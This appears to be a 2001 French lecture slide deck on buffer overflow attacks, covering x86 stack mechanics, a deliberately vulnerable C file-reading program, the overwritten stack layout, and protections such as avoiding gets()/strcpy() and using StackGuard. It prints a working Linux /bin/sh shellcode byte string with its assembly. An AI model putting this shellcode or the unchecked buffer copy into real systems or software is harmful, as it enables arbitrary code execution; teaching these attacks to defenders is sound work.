Upload
esclados-descamps
View
121
Download
4
Embed Size (px)
Citation preview
Sécurité et Buffer Overflow
Yan Morvan – Juin 2001
Plan
• Le microprocesseur Intel 80386• Principe du Buffer Overflow• Que faire après la prise de
contrôle ?• Comment se protéger contre ces
attaques ?
Le microprocesseur Intel 80386
Les registres de segment :CS, SS, DS, ES, FS, GS
Les registres banalisés :EAX, EBX, ECX, EDX, ESI, EDI
Les autres registres :EFLAGS, EIP, EBP, ESP
Décomposition d’un programme
le codeles datasla pile
Mécanisme de segmentation
CS
SS
DS
descripteur de segment
descripteur de segment
descripteur de segment
Code
Pile
Datas
Mémoire
Organisation de la mémoire sous Windows 32 et Linux
CS
SS
DS
descripteur de segment
descripteur de segment
descripteur de segment
Code
Pile
Datas
Mémoire
L’instruction mov
movx <source>,<dest> ; x = b, w ou l
movl $2001,%eax// EAX <- 2001 ; copie le nombre 2001 dans EAX
movw $0xFFFF,%bx // BX<- 0xFFFF ; copie la valeur 65536 dans BX
movl %ecx,(%eax) // [EAX] <- ECX ; [EAX] est la case mémoire pointée par EAX
movb $0,4(%eax) // [EAX+4] <- 0 ; adressage base, déplacement
Les sauts inconditionnels
jmp 0x08056E42 /* Adressage direct
EIP <- 0x08056E42 ; le programme va à l’adresse 0x08056E42 */
Debut: /* Etiquette Debut */
jmp Debut /* Déplacement généré sur 8 bits de valeur –2 (2 est la taille en octets de l’instruction jmp Debut) */
jmp *%eax /* Adressage indirect
EIP <- EAX ; Saut à l’adresse contenue dans EAX */
La pile
pushl <dest> décrémente ESP de 4 et pousse le contenu de <dest> sur la pile
popl <dest> dépile la valeur pointée par ESP dans <dest> et incrémente ESP de 4
Conventions de la procédure appelante
void main() {
int a,b,c,d ;
|
d = appel(a,b,c) ;
|
}
d = appel(a,b,c) ;
pushl c
pushl b
pushl a
call appel
addl $12,%esp // Suppression des paramètres de la pile.
Conventions de la procédure appelée
Début : pushl %ebp // EBP empilé
movl %esp,%ebp // EBP <- ESP
subl $8,%esp /* Place pour les variables locales d et pt
D est un entier de 4 octets
Pt est un pointeur contenant une adresse. Il est donc codé sur 4 octets. */
pushad // Sauvegarde de tous les registres
Fin :popad // Restauration des registres
movl –4(%ebp),%eax // -4(%ebp) contient la valeur de d
movl %ebp,%esp // Suppression des variables locales
popl %ebp // Restauration de l'ancien EBP
ret
int appel(int a, int b, int c) {
int d ;char *pt ;||return d ;
}
Contexte de l'appelant
nème paramètre empilé par l'appelant
1er paramètre empilé par l'appelant
Adresse de retour empilée par call
EBP de l'appelant sauvé par l'appelé
1ère variable locale de l'appelé
nème variable locale de l'appelé
Sauvegarde des registres utilisés par l'appelé
Adresses hautes
Adresses basses
Croissance de la pile
ESP
EBP
Le programme vulnérableint main(int argc , char * argv[]) {
// Lit une chaine dans le fichier texte passe en 1er paramètre et l'affiche à l'écran
char buf[512] , *c ;
FILE *fichier ;
|c = &buf[0] ;
while((*c = fgetc(fichier)) != 0) {
c++ ;
}
|
Etat de la pile au début du main
Adresse de retour empilée par call main
EBP de l'appelant sauvé par main
pointeur *c (4 octets)
Adresses hautes
Adresses basses
ESP
EBP
buf512 octets
buf[511]
buf[0]
*fichier (16 octets)
8 octets supplémentaires
Adresses basses
Adresses hautes
buf[0] NOP
NOP
shellcode
0xeb
0x18
'h'
Nouvelle adresse de retour
Nouvelle adresse de retour
buf[511]
EBP sauvegardé
adresse de retour
Nouvelle adresse de retour
Sens de la pile
Exécution des instructions
size
_to
t
size
_to
t /
NO
P_D
IV
Ouvrir un shell en C
#include <stdio.h>void main() { char *name[2];
name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL);}
Besoins nécessaires à l’ouverture du Shell
Avoir en mémoire la chaîne "bin/sh" suivie du caractère NULL (caractère de fin de chaîne) Avoir en mémoire l'adresse de la chaîne "bin/sh" suivie d'un double mot NULL Copier 0xb dans le registre EAX Copier l'adresse de "bin/sh" dans le registre EBX Copier l'adresse de l'adresse de "/bin/sh" dans le registre ECX Copier NULL dans le registre EDX Exécuter l'instruction int $0x80
Compilation et obtention des codes opérations
void main() {__asm__("jmp 0x18 //2 octetspopl %esi // 1 octetmovl %esi,0x8(%esi) // 3 octetsxorl %eax,%eax // 2 octetsmovb %al,0x7(%esi) // 3 octetsmovl %eax,0xc(%esi) // 3 octetsmovb $0xb,%al // 2 octetsmovl %esi,%ebx // 2 octetsleal 0x8(%esi),%ecx // 3 octetsleal 0xc(%esi),%edx // 3 octetsint $0x80 // 2 octets call -0x19 // 5 octets.string \"/bin/sh\" ");}
char shellcode[] ="\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
Précautions à prendre
Supprimer du code les caractères interditsUtiliser l’adressage relatif pour les sautsPositionner le pointeur de pile pour ne pas écraser le code
Exploit sous Windows
Importation des fonctions systèmes utiles avec LoadLibraryA et GetProcAddress de la librairie Kernel32.dllUtiliser un débugger temps réel pour trouver l’adresse de retourEditer le fichier texte avec un éditeur binaire
Se protéger lorsqu’on est utilisateur
Consulter régulièrement les newsletter portant sur la sécuritéAppliquer les mises à jour immédiatement
Protéger lorsqu’on est développeur
Instructions C à remplacer :gets(), strcpy(), strcat(), sprintf(), scanf(), sscanf()
Utiliser StackGuard ou StackShield